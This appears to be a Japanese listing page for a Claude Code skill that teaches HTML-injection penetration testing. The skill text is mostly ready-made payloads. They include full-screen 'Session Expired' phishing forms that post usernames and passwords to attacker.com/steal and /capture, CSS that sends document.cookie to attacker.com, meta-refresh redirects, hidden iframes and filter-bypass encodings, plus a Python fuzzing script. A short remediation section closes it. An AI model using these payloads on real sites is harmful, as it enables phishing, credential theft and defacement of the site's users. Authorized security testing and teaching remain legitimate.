mcpField
H
HTML Injection Testing

HTML Injection Testing

github.com/davila7セキュリティ33.0k223 回インストール1 日前に更新
リポジトリ

HTML Injection Testing について

Web アプリの HTML インジェクションを検出・評価するセキュリティテストスキルです。反射型・格納型入力の手動および自動テスト、影響報告、修正案を扱い、XSS との違いも説明します。

主な機能

  1. 01インジェクション候補箇所の特定
  2. 02反射型・格納型 HTML インジェクションのテスト
  3. 03Burp Suite と OWASP ZAP のテスト手順
  4. 04フィッシングや改ざんの影響評価
  5. 05出力エンコードによる修正策の確認

活用シーン

  1. 01検索欄やプロフィール入力のテスト
  2. 02反射型・格納型の検出結果の検証
  3. 03フィッシングやページ改ざんリスクの評価
  4. 04開発者向け修正案の作成

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/davila7/claude-code-templates --skill html-injection-testing

インストール後、Claude Code で/html-injection-testingを入力して読み込まれたか確認します。

詳細

HTML インジェクションテスト

目的

攻撃者が悪意のある HTML コンテンツを Web アプリケーションに挿入できる HTML インジェクションの脆弱性を特定し、悪用します。この脆弱性により、攻撃者はページの外観を変更したり、フィッシングページを作成したり、挿入したフォームを通じてユーザーの認証情報を窃取したりすることができます。

前提条件

必要なツール
  • 開発者ツールを備えた Web ブラウザー
  • Burp Suite または OWASP ZAP
  • Tamper Data または同様のプロキシツール
  • ペイロードのテスト用 cURL
必要な知識
  • HTML の基礎
  • HTTP リクエスト/レスポンスの構造
  • Web アプリケーションの入力処理
  • HTML インジェクションと XSS の違い

成果物

  1. 脆弱性レポート - 特定したインジェクションポイント
  2. 悪用の証明 - 実証したコンテンツ改ざん
  3. 影響評価 - フィッシングや改ざんのリスク
  4. 是正ガイダンス - 入力検証に関する推奨事項

中核となるワークフロー

フェーズ 1: HTML インジェクションの理解

HTML インジェクションは、ユーザー入力が適切なサニタイズなしに Web ページに反映される場合に発生します。


<div>
    Welcome, <?php echo $_GET['name']; ?>
</div>


?name=<h1>Injected Content</h1>


<div>
    Welcome, <h1>Injected Content</h1>
</div>

XSS との主な違い:

  • HTML インジェクション: HTML タグのみがレンダリングされる
  • XSS: JavaScript コードが実行される
  • HTML インジェクションは XSS への足がかりとなることが多い

攻撃の目的:

  • Web サイトの外観の改変(改ざん)
  • 偽のログインフォームの作成(フィッシング)
  • 悪意のあるリンクの挿入
  • 誤解を招くコンテンツの表示
フェーズ 2: インジェクションポイントの特定

アプリケーションを調査し、インジェクションの可能性がある箇所を洗い出します:

1. Search bars and search results
2. Comment sections
3. User profile fields
4. Contact forms and feedback
5. Registration forms
6. URL parameters reflected on page
7. Error messages
8. Page titles and headers
9. Hidden form fields
10. Cookie values reflected on page

一般的に脆弱なパラメーター:

?name=
?user=
?search=
?query=
?message=
?title=
?content=
?redirect=
?url=
?page=
フェーズ 3: 基本的な HTML インジェクションテスト

シンプルな HTML タグでテストします:


<h1>Test Injection</h1>
<b>Bold Text</b>
<i>Italic Text</i>
<u>Underlined Text</u>
<font color="red">Red Text</font>


<div style="background:red;color:white;padding:10px">Injected DIV</div>
<p>Injected paragraph</p>
<br><br><br>Line breaks


<a href="http://attacker.com">Click Here</a>
<a href="http://attacker.com">Legitimate Link</a>


<img src="http://attacker.com/image.png">
<img src="x" onerror="alert(1)">  

テストのワークフロー:

# Test basic injection
curl "http://target.com/search?q=<h1>Test</h1>"

# Check if HTML renders in response
curl -s "http://target.com/search?q=<b>Bold</b>" | grep -i "bold"

# Test in URL-encoded form
curl "http://target.com/search?q=%3Ch1%3ETest%3C%2Fh1%3E"
フェーズ 4: HTML インジェクションの種類
格納型 HTML インジェクション

ペイロードがデータベースに永続化されます:


Name: John Doe
Bio: <div style="position:absolute;top:0;left:0;width:100%;height:100%;background:white;">
     <h1>Site Under Maintenance</h1>
     <p>Please login at <a href="http://attacker.com/login">portal.company.com</a></p>
     </div>


Great article!
<form action="http://attacker.com/steal" method="POST">
    <input name="username" placeholder="Session expired. Enter username:">
    <input name="password" type="password" placeholder="Password:">
    <input type="submit" value="Login">
</form>
反映型 GET インジェクション

URL パラメーターにペイロードを含めます:


http://target.com/welcome?name=<h1>Welcome%20Admin</h1><form%20action="http://attacker.com/steal">


http://target.com/search?q=<marquee>Your%20account%20has%20been%20compromised</marquee>
反映型 POST インジェクション

POST データにペイロードを含めます:

# POST injection test
curl -X POST -d "comment=<div style='color:red'>Malicious Content</div>" \
     http://target.com/submit

# Form field injection
curl -X POST -d "name=<script>alert(1)</script>&[email protected]" \
     http://target.com/register
URL ベースのインジェクション

表示される URL に挿入します:


http://target.com/page/<h1>Injected</h1>


http://target.com/users/<img src=x>/profile
フェーズ 5: フィッシング攻撃の構築

説得力のあるフィッシングフォームを作成します:


<div style="position:fixed;top:0;left:0;width:100%;height:100%;
            background:white;z-index:9999;padding:50px;">
    <h2>Session Expired</h2>
    <p>Your session has expired. Please log in again.</p>
    <form action="http://attacker.com/capture" method="POST">
        <label>Username:</label><br>
        <input type="text" name="username" style="width:200px;"><br><br>
        <label>Password:</label><br>
        <input type="password" name="password" style="width:200px;"><br><br>
        <input type="submit" value="Login">
    </form>
</div>


<style>
    input { background: url('http://attacker.com/log?data=') }
</style>
<form action="http://attacker.com/steal" method="POST">
    <input name="user" placeholder="Verify your username">
    <input name="pass" type="password" placeholder="Verify your password">
    <button>Verify</button>
</form>

URL エンコードされたフィッシングリンク:

http://target.com/page?msg=%3Cdiv%20style%3D%22position%3Afixed%3Btop%3A0%3Bleft%3A0%3Bwidth%3A100%25%3Bheight%3A100%25%3Bbackground%3Awhite%3Bz-index%3A9999%3Bpadding%3A50px%3B%22%3E%3Ch2%3ESession%20Expired%3C%2Fh2%3E%3Cform%20action%3D%22http%3A%2F%2Fattacker.com%2Fcapture%22%3E%3Cinput%20name%3D%22user%22%20placeholder%3D%22Username%22%3E%3Cinput%20name%3D%22pass%22%20type%3D%22password%22%3E%3Cbutton%3ELogin%3C%2Fbutton%3E%3C%2Fform%3E%3C%2Fdiv%3E
フェーズ 6: 改ざんペイロード

Web サイトの外観を操作します:


<div style="position:fixed;top:0;left:0;width:100%;height:100%;
            background:#000;color:#0f0;z-index:9999;
            display:flex;justify-content:center;align-items:center;">
    <h1>HACKED BY SECURITY TESTER</h1>
</div>


<style>body{display:none}</style>
<body style="display:block !important">
    <h1>This site has been compromised</h1>
</body>


<img src="http://attacker.com/defaced.jpg" 
     style="position:fixed;top:0;left:0;width:100%;height:100%;z-index:9999">


<marquee behavior="alternate" style="font-size:50px;color:red;">
    SECURITY VULNERABILITY DETECTED
</marquee>
フェーズ 7: 高度なインジェクション技術
CSS インジェクション

<style>
    body { background: url('http://attacker.com/track?cookie='+document.cookie) }
    .content { display: none }
    .fake-content { display: block }
</style>


<div style="background:url('http://attacker.com/log')">Content</div>
メタタグインジェクション

<meta http-equiv="refresh" content="0;url=http://attacker.com/phish">


<meta http-equiv="Content-Security-Policy" content="default-src *">
フォームアクションの上書き

<form action="http://attacker.com/steal">


<input type="hidden" name="extra" value="data">
</form>
iframe インジェクション

<iframe src="http://attacker.com/malicious" width="100%" height="500"></iframe>


<iframe src="http://attacker.com/track" style="display:none"></iframe>
フェーズ 8: フィルター回避技術

基本的なフィルターを回避します:


<H1>Test</H1>
<ScRiPt>alert(1)</ScRiPt>


&#60;h1&#62;Encoded&#60;/h1&#62;
%3Ch1%3EURL%20Encoded%3C%2Fh1%3E


<h
1>Split Tag</h1>


<h1%00>Null Byte</h1>


%253Ch1%253EDouble%2520Encoded%253C%252Fh1%253E


\u003ch1\u003eUnicode\u003c/h1\u003e


<div onmouseover="alert(1)">Hover me</div>
<img src=x onerror=alert(1)>
フェーズ 9: 自動テスト
Burp Suite の利用
1. Capture request with potential injection point
2. Send to Intruder
3. Mark parameter value as payload position
4. Load HTML injection wordlist
5. Start attack
6. Filter responses for rendered HTML
7. Manually verify successful injections
OWASP ZAP の利用
1. Spider the target application
2. Active Scan with HTML injection rules
3. Review Alerts for injection findings
4. Validate findings manually
カスタムファジングスクリプト
#!/usr/bin/env python3
import requests
import urllib.parse

target = "http://target.com/search"
param = "q"

payloads = [
    "<h1>Test</h1>",
    "<b>Bold</b>",
    "<script>alert(1)</script>",
    "<img src=x onerror=alert(1)>",
    "<a href='http://evil.com'>Click</a>",
    "<div style='color:red'>Styled</div>",
    "<marquee>Moving</marquee>",
    "<iframe src='http://evil.com'></iframe>",
]

for payload in payloads:
    encoded = urllib.parse.quote(payload)
    url = f"{target}?{param}={encoded}"
    
    try:
        response = requests.get(url, timeout=5)
        if payload.lower() in response.text.lower():
            print(f"[+] Possible injection: {payload}")
        elif "<h1>" in response.text or "<b>" in response.text:
            print(f"[?] Partial reflection: {payload}")
    except Exception as e:
        print(f"[-] Error: {e}")
フェーズ 10: 防止と是正

セキュアコーディングの実践:

// PHP: Escape output
echo htmlspecialchars($user_input, ENT_QUOTES, 'UTF-8');

// PHP: Strip tags
echo strip_tags($user_input);

// PHP: Allow specific tags only
echo strip_tags($user_input, '<p><b><i>');
# Python: HTML escape
from html import escape
safe_output = escape(user_input)

# Python Flask: Auto-escaping
{{ user_input }}  # Jinja2 escapes by default
{{ user_input | safe }}  # Marks as safe (dangerous!)
// JavaScript: Text content (safe)
element.textContent = userInput;

// JavaScript: innerHTML (dangerous!)
element.innerHTML = userInput;  // Vulnerable!

// JavaScript: Sanitize
const clean = DOMPurify.sanitize(userInput);
element.innerHTML = clean;

サーバーサイドの保護策:

  • 入力検証(許可する文字のホワイトリスト化)
  • 出力エンコード(コンテキストに応じたエスケープ)
  • Content Security Policy(CSP)ヘッダー
  • Web Application Firewall(WAF)のルール

クイックリファレンス

一般的なテストペイロード
ペイロード目的
<h1>Test</h1>基本的なレンダリングテスト
<b>Bold</b>単純な書式設定
<a href="evil.com">Link</a>リンクインジェクション
<img src=x>画像タグのテスト
<div style="color:red">スタイルインジェクション
<form action="evil.com">フォームハイジャック
インジェクションのコンテキスト
コンテキストテスト方法
URL パラメーター?param=<h1>test</h1>
フォームフィールドHTML ペイロードを含む POST
Cookie の値document.cookie 経由で挿入
HTTP ヘッダーReferer/User-Agent に挿入
ファイルアップロード悪意のあるコンテンツを含む HTML ファイル
エンコードの種類
種類例
URL エンコード%3Ch1%3E = <h1>
HTML エンティティ&#60;h1&#62; = <h1>
二重エンコード%253C = <
Unicode\u003c = <

制約と限界

攻撃の制限事項
  • 最新のブラウザーは一部のインジェクションをサニタイズする場合がある
  • CSP によりインラインスタイルやスクリプトが阻止される場合がある
  • WAF が一般的なペイロードをブロックする場合がある
  • 一部のアプリケーションは出力を適切にエスケープしている
テスト時の考慮事項
  • HTML インジェクションと XSS を区別する
  • ブラウザーで視覚的な影響を確認する
  • 複数のブラウザーでテストする
  • 保存型かReflected型かを確認する
深刻度の評価
  • XSS より深刻度は低い(スクリプトは実行されない)
  • フィッシングと組み合わせると影響が大きくなる
  • 改ざん(defacement)やレピュテーションの毀損を考慮する
  • 認証情報窃取の可能性を評価する

トラブルシューティング

問題解決策
HTML がレンダリングされない出力が HTML エンコードされていないか確認する。エンコードのバリエーションを試す。HTML のコンテキストを検証する
ペイロードが除去されるエンコードのバリエーションを使用する。タグの分割を試す。ヌルバイトをテストする。ネストされたタグを使う
XSS が機能しない(HTML のみ)JS はフィルタリングされているが HTML は許可されている。フィッシングフォームやメタリフレッシュによるリダイレクトを活用する

コメント